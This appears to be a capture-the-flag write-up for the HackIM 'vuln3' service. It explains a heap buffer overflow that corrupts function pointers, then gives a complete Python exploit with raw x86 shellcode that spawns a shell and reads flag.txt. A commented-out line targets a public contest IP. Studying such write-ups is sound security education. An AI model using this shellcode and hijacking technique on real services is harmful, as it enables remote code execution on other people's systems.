NULLCON CTF Vuln3 - Heap Buffer Overflow



Brooklynt Overflow Recently Competed in HackIM CTF. This is a writeup of the vuln3 service. Vuln3 is a service exposed to the Internet via xinetd or something similar. It accepts input from you writes it to the stack, parses it and performs actions based on it. It does this until you disconnect. The important parts of user input are dwords at offset 0x28 and 0x50. The dword at offset 0x28 tell the service what operation to perform. The dword at offset 0x50 is used only when you ask the service to allocate some memory for you, it is then used as the argument to malloc.

.text:08048583 lea eax, [esp+230h+safe_stack_buffer_512]
.text:08048587 mov eax, [eax+50h]
.text:0804858A mov [esp+230h+my_size_50], eax
.text:08048591 lea eax, [esp+230h+safe_stack_buffer_512]
.text:08048595 mov eax, [eax+28h]
.text:08048598 mov [esp+230h+my_verb_28], eax
use_of_my_verb
Cross-referencing the command variable

The service supports four functions that you can control. Before you can control any of the application’s state an allocation of size 0x100 bytes is made with malloc.

Functions

Allocate a block of size 8 and put two function pointers inside it. The first function pointer points to a function that calls puts("Hello world") The section is a pointer to a function that calls puts("Bye bye World").

Allocate_fnpts
The block we're going to corrupt.

Allocate a block of a size specified by the dword at offset 50. Call fgets to populate it. Create a block of arbitrary size who’s contents we control.

Malloc_my_block
The block we control.

Call function pointers and free blocks. Check to make sure that we have allocated the block of size 8 with function pointers inside. If we have, call the function pointers and free the block. Also check to see if we have allocated a block with an arbitrary size and free that too.

Call_fnpts_and_free
Where we're going to hijack control.

Copy the contents as a string from the block of arbitrary size to the block of fixed size that was allocated at the beginning of the program. This will cause a buffer overflow on the heap if the block that we allocate is larger than size 0x100 and doesn’t contain any null bytes.

Heap_block_copy
The vulnerablilty.

The vulnerability here is a heap buffer overflow. What we need to do is manipulate the heap state such that the block of size 8 immediately follows the block allocated in the beginning of the program. Then we can allocate a large block to overflow the block with a static size. That overflow will corrupt the function pointers. We can then ask the application to call the function pointers thereby escaping intended control flow.

Choosing a suitable trampoline

Astute hackers will note that we do not control the stack however stack layout is predictable. Right before the function is called the value on the top of the stack is a pointer to a buffer that we control.  The pointer is pointing at the stack buffer and because the organizers are nice folks, the stack and heap are executable. That means we have 0x28 bytes to work with for writing shellcode. That’s nice but I was having trouble opening a shell during the competition so I opted for more space. I wrote a small trampoline that punts execution to the heap block that we have arbitrary control over.

RWE
Program header analysis.

The flow of exploitation

  • Allocate the small block. It will be allocated directly after the block of size 0x100

  • Allocate a large block with pointers to pop; ret to overwrite the function pointers in the small block.

  • Copy the large block into the block of size 0x100. If it is large enough it will corrupt the small block.

  • Next we create another large block that will contain our shellcode. Now we have no shellcode length constraints.

  • Issue the command to call the pointers and free the block, naturally divert control before the free. Before the padding to the command dword, put the trampoline (call [esp+0x228]) At the time of the call, [esp+0x228] is the pointer to our heap block.

  • You’re now executing arbitrary code from the heap.

ptr_overwrite_ctrl_flow
The sequence of code that will execute when we hijack control.
#Evan Jensen (wont)
#Heap buffer overflow for vuln3 HackIM CTF

from isis import *
import sys

shell_emulator=( "\x31\xc0\x99\x66\xba\xff\x01\x89\xe1\x31"
                 "\xdb\x6a\x03\x58\xcd\x80\x89\xc5\x85\xc0"
                 "\x74\x52\xc6\x44\x04\xff\x00\x6a\x02\x58"
                 "\xcd\x80\x85\xc0\x74\x0d\x31\xdb\x31\xc9"
                 "\x31\xd2\x6a\x07\x58\xcd\x80\xeb\xcf\xfc"
                 "\x89\xe9\x6a\x20\x58\x89\xe3\x99\x81\xec"
                 "\xff\x01\x00\x00\x89\xee\x29\xce\x8d\x3c"
                 "\x33\x89\x3c\x94\x42\xf2\xae\x89\xee\x29"
                 "\xce\xc6\x44\x33\xff\x00\x85\xc9\x74\x02"
                 "\xeb\xe4\x91\x89\x04\x94\x99\xb0\x0b\x8d"
                 "\x0c\x24\xcd\x80\x31\xdb\x6a\x01\x58\xcd"
                 "\x80"
                 ) #from shellcode repo

get_flag=( "\xeb\x29\x5b\x31\xc9\xb1\x04\x6a\x05\x58\xcd\x80\x93\x89\xe1"
           "\x31\xd2\x66\xba\xff\x01\x6a\x03\x58\xcd\x80\x31\xdb\x43\x89"
           "\xe1\x31\xd2\x66\xba\xff\x01\x6a\x04\x58\xcd\x80\xf4\xe8\xd2"
           "\xff\xff\xff\x66\x6c\x61\x67\x2e\x74\x78\x74\x00"
           ) #open, read, write flag.txt

def pad_msg(msg):
    msg_len=510
    #msg+='\xcc'*(msg_len-len(msg))
    return msg+'\n'

def allocate_ptr_obj(s):
    alloc_verb=pack("I",0x64)
    msg='A'*0x28+alloc_verb
    msg=pad_msg(msg)
    s.send(msg)

def call_and_free(s):
    heap_trampoline="\xff\x94\x24\x28\x02\x00\x00" #call [esp+0x228]
    shellcode=heap_trampoline

    free_verb=pack("I",0x32)
    msg=shellcode+'A'*(0x28-len(shellcode))+free_verb
    msg=pad_msg(msg)
    s.send(msg)

def allocate_my_block(s,contents):
    alloc_verb=pack("I",0xc8)
    msg='A'*0x28+alloc_verb+'A'*0x24+pack("I",len(contents)+2)
    msg=pad_msg(msg)
    s.send(msg)
    #program calls fgets, waits for us to fill block
    time.sleep(.5)
    s.send(contents)

def copy_my_block(s):
    copy_verb=pack("I",0x12c)
    msg='A'*0x28+copy_verb
    msg=pad_msg(msg)
    s.send(msg)

def crash(s):
    SLEEP_TIME=1
    pop_ret=0x0804879f

    allocate_ptr_obj(s)
    print 'allocated ptrs'
    time.sleep(SLEEP_TIME)

    allocate_my_block(s,pack("I",pop_ret)*0x100)
    print 'allocated large block'
    time.sleep(SLEEP_TIME)

    copy_my_block(s)
    print 'smashed ptr block'
    time.sleep(SLEEP_TIME)

    shellcode=shell_emulator
    allocate_my_block(s,shellcode)
    print 'allocated shellcode'
    time.sleep(SLEEP_TIME)

    call_and_free(s)
    print 'called smashed ptrs'
    time.sleep(SLEEP_TIME)

    return s

if __name__=="__main__":
    s=get_socket(('localhost',2323)) #from isis.py
    #s=get_socket(('23.23.190.205',8888))
    raw_input("hit enter to exploit") #for debugging
    crash(s)
    print 'Enjoy your shell'
    telnet_shell(s) #from isis.py

You can find this exploit and many others in the CTF-Solutions repo on github.